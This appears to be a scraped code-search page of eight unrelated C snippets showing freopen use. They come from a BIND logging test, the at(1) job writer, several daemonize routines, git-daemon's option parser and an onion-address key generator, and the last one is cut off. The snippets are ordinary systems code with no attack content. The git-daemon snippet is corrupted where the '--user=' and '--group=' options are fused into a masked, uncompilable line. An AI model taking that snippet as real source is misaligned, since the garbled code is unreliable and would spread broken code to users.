Beispiel #1
0
int
main(int argc, char **argv) {
	const char *progname, *syslog_file, *message;
	int ch, i, file_versions, stderr_line;
	isc_boolean_t show_final_mem = ISC_FALSE;
	isc_log_t *lctx;
	isc_logconfig_t *lcfg;
	isc_mem_t *mctx;
	isc_result_t result;
	isc_logdestination_t destination;
	const isc_logcategory_t *category;
	const isc_logmodule_t *module;

	progname = strrchr(*argv, '/');
	if (progname != NULL)
		progname++;
	else
		progname = *argv;

	syslog_file = SYSLOG_FILE;
	file_versions = FILE_VERSIONS;

	while ((ch = isc_commandline_parse(argc, argv, "ms:r:")) != -1) {
		switch (ch) {
		case 'm':
			show_final_mem = ISC_TRUE;
			break;
		case 's':
			syslog_file = isc_commandline_argument;
			break;
		case 'r':
			file_versions = atoi(isc_commandline_argument);
			if (file_versions < 0 &&
			    file_versions != ISC_LOG_ROLLNEVER &&
			    file_versions != ISC_LOG_ROLLINFINITE) {
				fprintf(stderr, "%s: file rotations must be "
					"%d (ISC_LOG_ROLLNEVER),\n\t"
					"%d (ISC_LOG_ROLLINFINITE) "
					"or > 0\n", progname,
					ISC_LOG_ROLLNEVER,
					ISC_LOG_ROLLINFINITE);
				exit(1);
			}
			break;
		case '?':
			fprintf(stderr, usage, progname);
			exit(1);
		}
	}

	argc -= isc_commandline_index;
	argv += isc_commandline_index;
	POST(argv);

	if (argc > 0) {
		fprintf(stderr, usage, progname);
		exit(1);
	}

	fprintf(stderr, "EXPECT:\n%s%d%s%s%s",
		"8 lines to stderr (first 4 numbered, #3 repeated)\n",
		file_versions == 0 || file_versions == ISC_LOG_ROLLNEVER ? 1 :
		file_versions > 0 ? file_versions + 1 : FILE_VERSIONS + 1,
		" " TEST_FILE " files, and\n",
		"2 lines to syslog\n",
		"lines ending with exclamation marks are errors\n\n");

	isc_log_opensyslog(progname, LOG_PID, LOG_DAEMON);

	mctx = NULL;
	lctx = NULL;
	lcfg = NULL;

	CHECK(isc_mem_create(0, 0, &mctx));
	CHECK(isc_log_create(mctx, &lctx, &lcfg));

	CHECK(isc_log_settag(lcfg, progname));

	isc_log_setcontext(lctx);
	dns_log_init(lctx);
	dns_log_setcontext(lctx);

	/*
	 * Test isc_log_categorybyname and isc_log_modulebyname.
	 */
	category = isc_log_categorybyname(lctx, "notify");
	if (category != NULL)
		fprintf(stderr, "%s category found. (expected)\n",
			category->name);
	else
		fprintf(stderr, "notify category not found!\n");

	module = isc_log_modulebyname(lctx, "xyzzy");
	if (module != NULL)
		fprintf(stderr, "%s module found!\n", module->name);
	else
		fprintf(stderr, "xyzzy module not found. (expected)\n");

	/*
	 * Create a file channel to test file opening, size limiting and
	 * version rolling.
	 */

	destination.file.name = TEST_FILE;
	destination.file.maximum_size = 1;
	destination.file.versions = file_versions;

	CHECK(isc_log_createchannel(lcfg, "file_test", ISC_LOG_TOFILE,
				    ISC_LOG_INFO, &destination,
				    ISC_LOG_PRINTTIME|
				    ISC_LOG_PRINTTAG|
				    ISC_LOG_PRINTLEVEL|
				    ISC_LOG_PRINTCATEGORY|
				    ISC_LOG_PRINTMODULE));

	/*
	 * Create a dynamic debugging channel to a file descriptor.
	 */
	destination.file.stream = stderr;

	CHECK(isc_log_createchannel(lcfg, "debug_test", ISC_LOG_TOFILEDESC,
				    ISC_LOG_DYNAMIC, &destination,
				    ISC_LOG_PRINTTIME|
				    ISC_LOG_PRINTLEVEL|
				    ISC_LOG_DEBUGONLY));

	/*
	 * Test the usability of the four predefined logging channels.
	 */
	CHECK(isc_log_usechannel(lcfg, "default_syslog",
				 DNS_LOGCATEGORY_DATABASE,
				 DNS_LOGMODULE_CACHE));
	CHECK(isc_log_usechannel(lcfg, "default_stderr",
				 DNS_LOGCATEGORY_DATABASE,
				 DNS_LOGMODULE_CACHE));
	CHECK(isc_log_usechannel(lcfg, "default_debug",
				 DNS_LOGCATEGORY_DATABASE,
				 DNS_LOGMODULE_CACHE));
	CHECK(isc_log_usechannel(lcfg, "null",
				 DNS_LOGCATEGORY_DATABASE,
				 NULL));

	/*
	 * Use the custom channels.
	 */
	CHECK(isc_log_usechannel(lcfg, "file_test",
				 DNS_LOGCATEGORY_GENERAL,
				 DNS_LOGMODULE_DB));

	CHECK(isc_log_usechannel(lcfg, "debug_test",
				 DNS_LOGCATEGORY_GENERAL,
				 DNS_LOGMODULE_RBTDB));

	fprintf(stderr, "\n==> stderr begin\n");

	/*
	 * Write to the internal default by testing both a category for which
	 * no channel has been specified and a category which was specified
	 * but not with the named module.
	 */
	stderr_line = 1;

	isc_log_write(lctx, DNS_LOGCATEGORY_SECURITY, DNS_LOGMODULE_RBT,
		      ISC_LOG_CRITICAL, "%s (%d)",
		      "Unspecified category and unspecified module to stderr",
		      stderr_line++);
	isc_log_write(lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_RBT,
		      ISC_LOG_CRITICAL, "%s (%d)",
		      "Specified category and unspecified module to stderr",
		      stderr_line++);

	/*
	 * Write to default_syslog, default_stderr and default_debug.
	 */
	isc_log_write(lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_CACHE,
		      ISC_LOG_WARNING, "%s (%d twice)",
		      "Using the predefined channels to syslog+stderr",
		      stderr_line++);

	/*
	 * Write to predefined null channel.
	 */
	isc_log_write(lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_RBTDB,
		      ISC_LOG_INFO, "This is to null and should not appear!");

	/*
	 * Reset the internal default to use syslog instead of stderr,
	 * and test it.
	 */
	CHECK(isc_log_usechannel(lcfg, "default_syslog",
				 ISC_LOGCATEGORY_DEFAULT, NULL));
	isc_log_write(lctx, DNS_LOGCATEGORY_SECURITY, DNS_LOGMODULE_RBT,
		      ISC_LOG_ERROR, "%s%s",
		      "This message to the redefined default category should ",
		      "be second in syslog");
	/*
	 * Write to the file channel.
	 */
	if (file_versions >= 0 || file_versions == ISC_LOG_ROLLINFINITE) {

		/*
		 * If file_versions is 0 or ISC_LOG_ROLLINFINITE, write
		 * the "should not appear" and "should be in file" messages
		 * to ensure they get rolled.
		 */
		if (file_versions <= 0)
			file_versions = FILE_VERSIONS;

		else
			isc_log_write(lctx, DNS_LOGCATEGORY_GENERAL,
				      DNS_LOGMODULE_DB, ISC_LOG_NOTICE,
				      "This should be rolled over "
				      "and not appear!");

		for (i = file_versions - 1; i >= 0; i--)
			isc_log_write(lctx, DNS_LOGCATEGORY_GENERAL,
				      DNS_LOGMODULE_DB, ISC_LOG_NOTICE,
				      "should be in file %d/%d", i,
				      file_versions - 1);

		isc_log_write(lctx, DNS_LOGCATEGORY_GENERAL,
			      DNS_LOGMODULE_DB, ISC_LOG_NOTICE,
			      "should be in base file");
	} else {
		file_versions = FILE_VERSIONS;
		for (i = 1; i <= file_versions; i++)
			isc_log_write(lctx, DNS_LOGCATEGORY_GENERAL,
				      DNS_LOGMODULE_DB, ISC_LOG_NOTICE,
				      "This is message %d in the log file", i);
	}


	/*
	 * Write a debugging message to a category that has no
	 * debugging channels for the named module.
	 */
	isc_log_write(lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_DB,
		      ISC_LOG_DEBUG(1),
		      "This debug message should not appear!");

	/*
	 * Write debugging messages to a dynamic debugging channel.
	 */
	isc_log_write(lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_RBTDB,
		      ISC_LOG_CRITICAL, "This critical message should "
		      "not appear because the debug level is 0!");

	isc_log_setdebuglevel(lctx, 3);

	isc_log_write(lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_RBTDB,
		      ISC_LOG_DEBUG(1), "%s (%d)",
		      "Dynamic debugging to stderr", stderr_line++);
	isc_log_write(lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_RBTDB,
		      ISC_LOG_DEBUG(5),
		      "This debug level is too high and should not appear!");

	/*
	 * Test out the duplicate filtering using the debug_test channel.
	 */
	isc_log_setduplicateinterval(lcfg, 10);
	message = "This message should appear only once on stderr";

	isc_log_write1(lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_RBTDB,
		       ISC_LOG_CRITICAL, "%s", message);
	isc_log_write1(lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_RBTDB,
		       ISC_LOG_CRITICAL, "%s", message);

	isc_log_setduplicateinterval(lcfg, 1);
	message = "This message should appear twice on stderr";

	isc_log_write1(lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_RBTDB,
		       ISC_LOG_CRITICAL, "%s", message);
	sleep(2);
	isc_log_write1(lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_RBTDB,
		       ISC_LOG_CRITICAL, "%s", message);

	/*
	 * Review where everything went.
	 * XXXDCL NT
	 */
	fputc('\n', stderr);
	system("head " TEST_FILE "*; rm -f " TEST_FILE "*");

	freopen(syslog_file, "r", stdin);
	fprintf(stderr, "\n==> %s <==\n", syslog_file);
	system("tail -2");
	fputc('\n', stderr);

	isc_log_destroy(&lctx);

	if (show_final_mem)
		isc_mem_stats(mctx, stderr);

	return (0);
}
Beispiel #2
0
static void
writefile(time_t runtimer, char queue)
{
    /* This does most of the work if at or batch are invoked for writing a job.
     */
    long jobno;
    char *ap, *ppos, *mailname;
    struct passwd *pass_entry;
    struct stat statbuf;
    int fdes, lockdes, fd2;
    FILE *fp, *fpin;
    struct sigaction act;
    char **atenv;
    int ch;
    mode_t cmask;
    struct flock lock;

#ifdef __FreeBSD__
    (void) setlocale(LC_TIME, "");
#endif

    /* Install the signal handler for SIGINT; terminate after removing the
     * spool file if necessary
     */
    act.sa_handler = sigc;
    sigemptyset(&(act.sa_mask));
    act.sa_flags = 0;

    sigaction(SIGINT, &act, NULL);

    ppos = atfile + strlen(ATJOB_DIR);

    /* Loop over all possible file names for running something at this
     * particular time, see if a file is there; the first empty slot at any
     * particular time is used.  Lock the file LFILE first to make sure
     * we're alone when doing this.
     */

    PRIV_START

    if ((lockdes = open(LFILE, O_WRONLY | O_CREAT, S_IWUSR | S_IRUSR)) < 0)
        perr("cannot open lockfile " LFILE);

    lock.l_type = F_WRLCK;
    lock.l_whence = SEEK_SET;
    lock.l_start = 0;
    lock.l_len = 0;

    act.sa_handler = alarmc;
    sigemptyset(&(act.sa_mask));
    act.sa_flags = 0;

    /* Set an alarm so a timeout occurs after ALARMC seconds, in case
     * something is seriously broken.
     */
    sigaction(SIGALRM, &act, NULL);
    alarm(ALARMC);
    fcntl(lockdes, F_SETLKW, &lock);
    alarm(0);

    if ((jobno = nextjob()) == EOF)
        perr("cannot generate job number");

    sprintf(ppos, "%c%5lx%8lx", queue,
            jobno, (unsigned long) (runtimer/60));

    for(ap=ppos; *ap != '\0'; ap ++)
        if (*ap == ' ')
            *ap = '0';

    if (stat(atfile, &statbuf) != 0)
        if (errno != ENOENT)
            perr("cannot access " ATJOB_DIR);

    /* Create the file. The x bit is only going to be set after it has
     * been completely written out, to make sure it is not executed in the
     * meantime.  To make sure they do not get deleted, turn off their r
     * bit.  Yes, this is a kluge.
     */
    cmask = umask(S_IRUSR | S_IWUSR | S_IXUSR);
    if ((fdes = creat(atfile, O_WRONLY)) == -1)
        perr("cannot create atjob file");

    if ((fd2 = dup(fdes)) <0)
        perr("error in dup() of job file");

    if(fchown(fd2, real_uid, real_gid) != 0)
        perr("cannot give away file");

    PRIV_END

    /* We no longer need suid root; now we just need to be able to write
     * to the directory, if necessary.
     */

    REDUCE_PRIV(DAEMON_UID, DAEMON_GID)

    /* We've successfully created the file; let's set the flag so it
     * gets removed in case of an interrupt or error.
     */
    fcreated = 1;

    /* Now we can release the lock, so other people can access it
     */
    lock.l_type = F_UNLCK;
    lock.l_whence = SEEK_SET;
    lock.l_start = 0;
    lock.l_len = 0;
    fcntl(lockdes, F_SETLKW, &lock);
    close(lockdes);

    if((fp = fdopen(fdes, "w")) == NULL)
        panic("cannot reopen atjob file");

    /* Get the userid to mail to, first by trying getlogin(),
     * then from LOGNAME, finally from getpwuid().
     */
    mailname = getlogin();
    if (mailname == NULL)
        mailname = getenv("LOGNAME");

    if ((mailname == NULL) || (mailname[0] == '\0')
            || (strlen(mailname) >= MAXLOGNAME) || (getpwnam(mailname)==NULL))
    {
        pass_entry = getpwuid(real_uid);
        if (pass_entry != NULL)
            mailname = pass_entry->pw_name;
    }

    if (atinput != (char *) NULL)
    {
        fpin = freopen(atinput, "r", stdin);
        if (fpin == NULL)
            perr("cannot open input file");
    }
    fprintf(fp, "#!/bin/sh\n# atrun uid=%ld gid=%ld\n# mail %*s %d\n",
            (long) real_uid, (long) real_gid, MAXLOGNAME - 1, mailname,
            send_mail);

    /* Write out the umask at the time of invocation
     */
    fprintf(fp, "umask %lo\n", (unsigned long) cmask);

    /* Write out the environment. Anything that may look like a
     * special character to the shell is quoted, except for \n, which is
     * done with a pair of "'s.  Don't export the no_export list (such
     * as TERM or DISPLAY) because we don't want these.
     */
    for (atenv= environ; *atenv != NULL; atenv++)
    {
        int export = 1;
        char *eqp;

        eqp = strchr(*atenv, '=');
        if (ap == NULL)
            eqp = *atenv;
        else
        {
            size_t i;
            for (i=0; i<sizeof(no_export)/sizeof(no_export[0]); i++)
            {
                export = export
                         && (strncmp(*atenv, no_export[i],
                                     (size_t) (eqp-*atenv)) != 0);
            }
            eqp++;
        }

        if (export)
        {
            (void)fputs("export ", fp);
            fwrite(*atenv, sizeof(char), eqp-*atenv, fp);
            for(ap = eqp; *ap != '\0'; ap++)
            {
                if (*ap == '\n')
                    fprintf(fp, "\"\n\"");
                else
                {
                    if (!isalnum(*ap)) {
                        switch (*ap) {
                        case '%':
                        case '/':
                        case '{':
                        case '[':
                        case ']':
                        case '=':
                        case '}':
                        case '@':
                        case '+':
                        case '#':
                        case ',':
                        case '.':
                        case ':':
                        case '-':
                        case '_':
                            break;
                        default:
                            fputc('\\', fp);
                            break;
                        }
                    }
                    fputc(*ap, fp);
                }
            }
            fputc('\n', fp);

        }
    }
Beispiel #3
0
/**
 * Daemonizes the current process.
 *
 * @param directory We will chdir() to this directory. A value of NULL
 *                  implies the root directory.
 */
int
compat_daemonize(const char *directory)
{
#ifndef MINGW32	/* FIXME MINGW32 */
	pid_t pid;
	int i;

	if (!directory) {
		directory = "/";
	}

	for (i = 0; i < 2; i++) {
		/* A handler for SIGCHLD should already be installed. */

		fflush(NULL);
		pid = fork();
		if ((pid_t) -1 == pid) {
			g_warning("fork() failed: %s", g_strerror(errno));
			return -1;
		}

		if (pid) {
			_exit(0);
			/* NOTREACHED */
			return -1;
		}

		/* Create a new session after the first fork() */
		if (0 == i && (pid_t) -1 == setsid()) {
			g_warning("setsid() failed: %s", g_strerror(errno));
			return -1;
		}
	}

	pid = getpid();
	if (setpgid(0, pid)) {
		g_warning("setpgid(0, %lu) failed: %s",
				(unsigned long) pid, g_strerror(errno));
		return -1;
	}

	if (chdir(directory)) {
		g_warning("chdir(\"%s\") failed: %s", directory, g_strerror(errno));
		return -1;
	}

	/*
	 * Make sure we don't create any files with an s-bit set or
	 * a world-writeable file.
	 */
	umask(umask(0) | S_IWOTH | S_ISUID | S_ISGID);

	/*
	 * Close all standard streams.
	 */

	if (!freopen("/dev/null", "r", stdin)) {
		g_warning("freopen() failed for stdin");
		return -1;
	}
	if (!freopen("/dev/null", "w", stdout)) {
		g_warning("freopen() failed for stdout");
		return -1;
	}
	if (!freopen("/dev/null", "w", stderr)) {
		g_warning("freopen() failed for stderr");
		return -1;
	}
#endif	/* !MINGW32 */
	return 0;
}
Beispiel #4
0
void StdioFreopen(struct ParseState *Parser, struct Value *ReturnValue, struct Value **Param, int NumArgs) 
{
    ReturnValue->Val->Pointer = freopen((char *)Param[0]->Val->Pointer, (char *)Param[1]->Val->Pointer, (FILE *)Param[2]->Val->Pointer);
}
Beispiel #5
0
int cmd_main(int argc, const char **argv)
{
	int listen_port = 0;
	struct string_list listen_addr = STRING_LIST_INIT_NODUP;
	int serve_mode = 0, inetd_mode = 0;
	const char *pid_file = NULL, *user_name = NULL, *group_name = NULL;
	int detach = 0;
	struct credentials *cred = NULL;
	int i;

	for (i = 1; i < argc; i++) {
		const char *arg = argv[i];
		const char *v;

		if (skip_prefix(arg, "--listen=", &v)) {
			string_list_append(&listen_addr, xstrdup_tolower(v));
			continue;
		}
		if (skip_prefix(arg, "--port=", &v)) {
			char *end;
			unsigned long n;
			n = strtoul(v, &end, 0);
			if (*v && !*end) {
				listen_port = n;
				continue;
			}
		}
		if (!strcmp(arg, "--serve")) {
			serve_mode = 1;
			continue;
		}
		if (!strcmp(arg, "--inetd")) {
			inetd_mode = 1;
			log_syslog = 1;
			continue;
		}
		if (!strcmp(arg, "--verbose")) {
			verbose = 1;
			continue;
		}
		if (!strcmp(arg, "--syslog")) {
			log_syslog = 1;
			continue;
		}
		if (!strcmp(arg, "--export-all")) {
			export_all_trees = 1;
			continue;
		}
		if (skip_prefix(arg, "--access-hook=", &v)) {
			access_hook = v;
			continue;
		}
		if (skip_prefix(arg, "--timeout=", &v)) {
			timeout = atoi(v);
			continue;
		}
		if (skip_prefix(arg, "--init-timeout=", &v)) {
			init_timeout = atoi(v);
			continue;
		}
		if (skip_prefix(arg, "--max-connections=", &v)) {
			max_connections = atoi(v);
			if (max_connections < 0)
				max_connections = 0;	        /* unlimited */
			continue;
		}
		if (!strcmp(arg, "--strict-paths")) {
			strict_paths = 1;
			continue;
		}
		if (skip_prefix(arg, "--base-path=", &v)) {
			base_path = v;
			continue;
		}
		if (!strcmp(arg, "--base-path-relaxed")) {
			base_path_relaxed = 1;
			continue;
		}
		if (skip_prefix(arg, "--interpolated-path=", &v)) {
			interpolated_path = v;
			continue;
		}
		if (!strcmp(arg, "--reuseaddr")) {
			reuseaddr = 1;
			continue;
		}
		if (!strcmp(arg, "--user-path")) {
			user_path = "";
			continue;
		}
		if (skip_prefix(arg, "--user-path=", &v)) {
			user_path = v;
			continue;
		}
		if (skip_prefix(arg, "--pid-file=", &v)) {
			pid_file = v;
			continue;
		}
		if (!strcmp(arg, "--detach")) {
			detach = 1;
			log_syslog = 1;
			continue;
		}
		if (skip_prefix(arg, "--user="******"--group=", &v)) {
			group_name = v;
			continue;
		}
		if (skip_prefix(arg, "--enable=", &v)) {
			enable_service(v, 1);
			continue;
		}
		if (skip_prefix(arg, "--disable=", &v)) {
			enable_service(v, 0);
			continue;
		}
		if (skip_prefix(arg, "--allow-override=", &v)) {
			make_service_overridable(v, 1);
			continue;
		}
		if (skip_prefix(arg, "--forbid-override=", &v)) {
			make_service_overridable(v, 0);
			continue;
		}
		if (!strcmp(arg, "--informative-errors")) {
			informative_errors = 1;
			continue;
		}
		if (!strcmp(arg, "--no-informative-errors")) {
			informative_errors = 0;
			continue;
		}
		if (!strcmp(arg, "--")) {
			ok_paths = &argv[i+1];
			break;
		} else if (arg[0] != '-') {
			ok_paths = &argv[i];
			break;
		}

		usage(daemon_usage);
	}

	if (log_syslog) {
		openlog("git-daemon", LOG_PID, LOG_DAEMON);
		set_die_routine(daemon_die);
	} else
		/* avoid splitting a message in the middle */
		setvbuf(stderr, NULL, _IOFBF, 4096);

	if (inetd_mode && (detach || group_name || user_name))
		die("--detach, --user and --group are incompatible with --inetd");

	if (inetd_mode && (listen_port || (listen_addr.nr > 0)))
		die("--listen= and --port= are incompatible with --inetd");
	else if (listen_port == 0)
		listen_port = DEFAULT_GIT_PORT;

	if (group_name && !user_name)
		die("--group supplied without --user");

	if (user_name)
		cred = prepare_credentials(user_name, group_name);

	if (strict_paths && (!ok_paths || !*ok_paths))
		die("option --strict-paths requires a whitelist");

	if (base_path && !is_directory(base_path))
		die("base-path '%s' does not exist or is not a directory",
		    base_path);

	if (inetd_mode) {
		if (!freopen("/dev/null", "w", stderr))
			die_errno("failed to redirect stderr to /dev/null");
	}

	if (inetd_mode || serve_mode)
		return execute();

	if (detach) {
		if (daemonize())
			die("--detach not supported on this platform");
	}

	if (pid_file)
		write_file(pid_file, "%"PRIuMAX, (uintmax_t) getpid());

	/* prepare argv for serving-processes */
	argv_array_push(&cld_argv, argv[0]); /* git-daemon */
	argv_array_push(&cld_argv, "--serve");
	for (i = 1; i < argc; ++i)
		argv_array_push(&cld_argv, argv[i]);

	return serve(&listen_addr, listen_port, cred);
}
void daemonize()
{
    pid_t pid, sid, parent;

    char *lockfile;

    lockfile = "/var/lock/subsys/" DAEMON_NAME;

    openlog(DAEMON_NAME, LOG_PID, LOG_LOCAL5);

    /* already a daemon */
    if ( getppid() == 1 ) return;

    /* Create the lock file as the current user */
/*
    if ( lockfile && lockfile[0] ) {
        lfp = open(lockfile,O_RDWR|O_CREAT,0660);
        if ( lfp < 0 ) {
            fprintf(stderr,"Unable to create lock file %s\n", lockfile);
            syslog( LOG_ERR, "unable to create lock file %s, code=%d (%s)",
                    lockfile, errno, strerror(errno) );
            exit(EXIT_FAILURE);
        }
    }
*/

    /* Drop user if there is one, and we were run as root */
    if ( getuid() == 0 || geteuid() == 0 ) {
        struct passwd *pw = getpwnam(RUN_AS_USER);
        if ( pw ) {
            syslog( LOG_NOTICE, "setting user to " RUN_AS_USER );
            setuid( pw->pw_uid );
        }
    }

    /* Trap signals that we expect to recieve */
    signal(SIGCHLD,child_handler);
    signal(SIGUSR1,child_handler);
    signal(SIGALRM,child_handler);

    /* Fork off the parent process */
    pid = fork();
    if (pid < 0) {
        syslog( LOG_ERR, "unable to fork daemon, code=%d (%s)",
                errno, strerror(errno) );
        exit(EXIT_FAILURE);
    }
    /* If we got a good PID, then we can exit the parent process. */
    if (pid > 0) {

        /* Wait for confirmation from the child via SIGTERM or SIGCHLD, or
           for two seconds to elapse (SIGALRM).  pause() should not return. */
        alarm(2);
        pause();

        exit(EXIT_FAILURE);
    }

    /* At this point we are executing as the child process */
    parent = getppid();

    syslog(LOG_INFO, "Starting daemon " DAEMON_NAME);

    /* Cancel certain signals */
    signal(SIGCHLD,SIG_DFL); /* A child process dies */
    signal(SIGTSTP,SIG_IGN); /* Various TTY signals */
    signal(SIGTTOU,SIG_IGN);
    signal(SIGTTIN,SIG_IGN);
    signal(SIGHUP, SIG_IGN); /* Ignore hangup signal */
    signal(SIGTERM,sigterm_handler); /* Die on SIGTERM */

    /* Change the file mode mask */
    umask(0);

    /* Create a new SID for the child process */
    sid = setsid();
    if (sid < 0) {
        syslog( LOG_ERR, "unable to create a new session, code %d (%s)",
                errno, strerror(errno) );
        exit(EXIT_FAILURE);
    }

    /* Change the current working directory.  This prevents the current
       directory from being locked; hence not being able to remove it. */
    if ((chdir("/")) < 0) {
        syslog( LOG_ERR, "unable to change directory to %s, code %d (%s)",
                "/", errno, strerror(errno) );
        exit(EXIT_FAILURE);
    }

/*
    // write our pid to /var/run/DAEMON_NAME.pid 
    pid_filename = "/var/run/" DAEMON_NAME ".pid";
    pid_file = fopen(pid_filename, "w");
    if (pid_file != NULL)
    {
      fprintf(pid_file, "%d\n", getpid());
    } else {
      syslog (LOG_ERR, "Unable to create pid file %s %d %s", pid_filename,
                errno, strerror(errno));
    }
*/

    /* Redirect standard files to /dev/null */
    freopen( "/dev/null", "r", stdin);
    freopen( "/dev/null", "w", stdout);
    freopen( "/var/tmp/" DAEMON_NAME, "w", stderr);
    chmod( "/var/tmp/" DAEMON_NAME, 0660);

    /* Tell the parent process that we are A-okay */
    kill( parent, SIGUSR1 );
} // daemonize()
Beispiel #7
0
int main(int argc, char *argv[]) { // onions are fun, here we go
  signal(SIGTERM, terminate); // always let people kill

  if(argc < 2) // not enough arguments
    usage();

  // set up our initial values
  uint8_t daemon = 0, optimum = 0;
  uint32_t threads = 1, x = 1;
  char *file = 0;
  elim = DEFAULT_E_LIMIT;
  loop = 0;
  found = 0;
  monitor = 0;

  #ifdef BSD                                   // my
  int mib[2] = { CTL_HW, HW_NCPU };            // how
  size_t size = sizeof(threads);               // easy
  if(sysctl(mib, 2, &threads, &size, NULL, 0)) // BSD
    error(X_SYSCTL_FAILED);                    // is

  #elif defined(LINUX_PORT) // Oh no!  We're on Linux... :(
  // ...even *Windows 95* (gasp!) has a better way of doing this...
  // TODO: move this to linux.c
  char cpuinfo[CPUINFO_BUF_SIZE] = "";
  int fd = open(CPUINFO_PATH, O_RDONLY);

  if(fd < 0)
    error(X_BAD_FILE_DESC);

  threads--; // reset threads to 0
  size_t r = 0;
  ssize_t tmp = 1; // must not initially be 0!
  uint16_t used = 0;

  do {
    if(tmp)
      tmp = read(fd, &cpuinfo[r], CPUINFO_BUF_SIZE - r); // fill the buffer

    if(tmp < 0) // something went wrong
      error(X_ABNORMAL_READ);

    r += tmp; // add how much we read

    if(r < CPUINFO_BUF_SIZE)
      cpuinfo[r] = 0;

    threads += parse_cpuinfo(&cpuinfo[0], (uint16_t)r, &used);
    r -= used; // subtract what we parsed

    memmove(&cpuinfo[0], &cpuinfo[used], r);
  } while(used > 0);

  close(fd); // TODO: add error handling! (is there any point?)

  if(!threads) { // This is needed for Linux/ARM (do not remove!)
    printf("WARNING: No CPUs detected.  Defaulting to 1 thread... "
           "(or manually specify thread count with -t)\n");
    threads++;
  }

  #elif defined(GENERIC)
  printf("WARNING: Threads will default to 1 unless specified with -t\n");
  #endif

  // pattern help
  if( argc >= x)
  {
    if( strcmp(argv[x], "-p") == 0)
    {
      pattern();
    }
  }

  for(; x < argc - 1; x++) { // options parsing
    if(argv[x][0] != '-') {
      fprintf(stderr, "Error: Options must start with '-'\n");
      usage();
    }
    uint32_t y = 1;
    for(; argv[x][y] != '\0'; y++) {
      uint8_t dbreak = 0;
      switch(argv[x][y]) {
        case 'd': { // daemonize
          daemon = 1;
          break;
        }
        case 'h': {
          usage(); exit(0);
        }
        case 'm': { // monitor
          monitor = 1;
          break;
        }
        case 'o': { // prime optimization
          optimum = 1;
          break;
        }
        case 'f': { // file <file>
          if((argv[x][y + 1] != '\0') || (x + 1 > argc)) {
            fprintf(stderr, "Error: -f format is '-f <file>'\n");
            usage();
          }
          file = argv[x + 1];
          dbreak = 1;
          break;
        }
        case 't': { // threads
          if((argv[x][y + 1] != '\0') || (x + 1 > argc)) {
            fprintf(stderr, "Error: -t format is '-t threads'\n");
            usage();
          }
          threads = strtoul(argv[x + 1], NULL, 0);
          dbreak = 1;
          break;
        }
        case 'x': { // maximum execution time
          if((argv[x][y + 1] != '\0') || (x + 1 > argc)) {
            fprintf(stderr, "Error: -x format is '-x <max exec time in seconds>'\n");
            usage();
          }
          maxexectime = strtoul(argv[x + 1], NULL, 0);
          dbreak = 1;
          break;
        }
        case 'i' : {// infinite
            infinite = 1;
            break;
        }
        case 'e': { // e limit
          if((argv[x][y + 1] != '\0') || (x + 1 > argc)) {
            fprintf(stderr, "Error: -e format is '-e limit'\n");
            usage();
          }
          elim = strtoull(argv[x + 1], NULL, 0);
          dbreak = 1;
          break;
        }
        default: { // unrecognized
          fprintf(stderr, "Error: Unrecognized option - '%c'\n", argv[x][y]);
          usage();
          break; // redundant... but safe :)
        }
      }
      if(dbreak) {
        x++; // skip the next param
        break;
      }
    }
  }

  // now for our sanity checks
  if(threads < 1)
    error(X_INVALID_THRDS);

  if(monitor && file)
    error(X_EXCLUSIVE_OPT);

  if(!(elim & 1) || (elim < RSA_PK_EXPONENT) || (elim > MAXIMUM_E_LIMIT))
    error(X_INVALID_E_LIM);

  if(daemon && !file)
    error(X_NEED_FILE_OUT);

  // compile regular expression from argument
  char *pattern = argv[argc - 1];

  if(*pattern == '-')
    if (pattern[1] == 'h') { usage(); exit(0);}
  else error(X_REGEX_INVALID);

  regex = malloc(REGEX_COMP_LMAX);

  if(regcomp(regex, pattern, REG_EXTENDED | REG_NOSUB))
    error(X_REGEX_COMPILE);

  if(file) {
    umask(077); // remove permissions to be safe

    // redirect output
    if (
			(freopen(file, "w", stdout) == NULL) ||
			(freopen(file, "w", stderr) == NULL)
		) error(X_FILE_OPEN_ERR);
  }

  if(daemon && (getppid() != 1)) { // daemonize if we should
    pid_t pid = fork();

    if(pid < 0) // fork failed
      error(X_DAEMON_FAILED);

    if(pid) // exit on the parent process
      exit(0);

    if(setsid() < 0) // get a new SID
      error(X_DAEMON_FAILED);

    if(chdir("/") < 0) // cd to root
      error(X_DAEMON_FAILED);

		// block input
    if (freopen("/dev/null", "r", stdin) == NULL)
			error(X_FILE_OPEN_ERR);

    // ignore certain signals
    signal(SIGCHLD, SIG_IGN);
    signal(SIGTSTP, SIG_IGN);
    signal(SIGTTOU, SIG_IGN);
    signal(SIGTTIN, SIG_IGN);
    signal(SIGHUP,  SIG_IGN);

  } else signal(SIGINT, terminate); // die on CTRL-C

  pthread_t thrd;

  // create our threads for 2+ cores
  beg:
  for(x = 1; x < threads; x++) {

    if(pthread_create(&thrd, NULL, worker, &optimum))
      error(X_THREAD_CREATE);
  }

  if(monitor) {
    // TODO: when support is added for -mv, put a message here
    if(pthread_create(&thrd, NULL, monitor_proc, NULL))
      error(X_THREAD_CREATE);
  }

  worker(&optimum); // use main thread for brute-forcing too

  if(pthread_self() != lucky_thread) { // be safe and avoid EDEADLK

    pthread_join(lucky_thread, NULL); // wait for the lucky thread to exit
  }
  if (infinite) {
    found = 0;
    goto beg;
  }

  regfree(regex);
  return 0;
}
Beispiel #8
0
int
main(int argc, char **argv)
{
	char tmp[23];
	char *tag = NULL;
	char *infile = NULL;
	char *buf = NULL;
	size_t buflen;
	int pri = LOG_NOTICE;
	int logflags = 0;
	int opt;
	int pid_len = 0;
	struct passwd *pw;
	uid_t u;
	char fmt_uid[16];
	char *p, *endp;
	size_t len;
	ptrdiff_t offset = 0;
	int status = 0;

	(void) setlocale(LC_ALL, "");
#if !defined(TEXT_DOMAIN)	/* Should be defined by cc -D */
#define	TEXT_DOMAIN "SYS_TEST"	/* Use this only if it weren't */
#endif
	(void) textdomain(TEXT_DOMAIN);
	/* initialize */

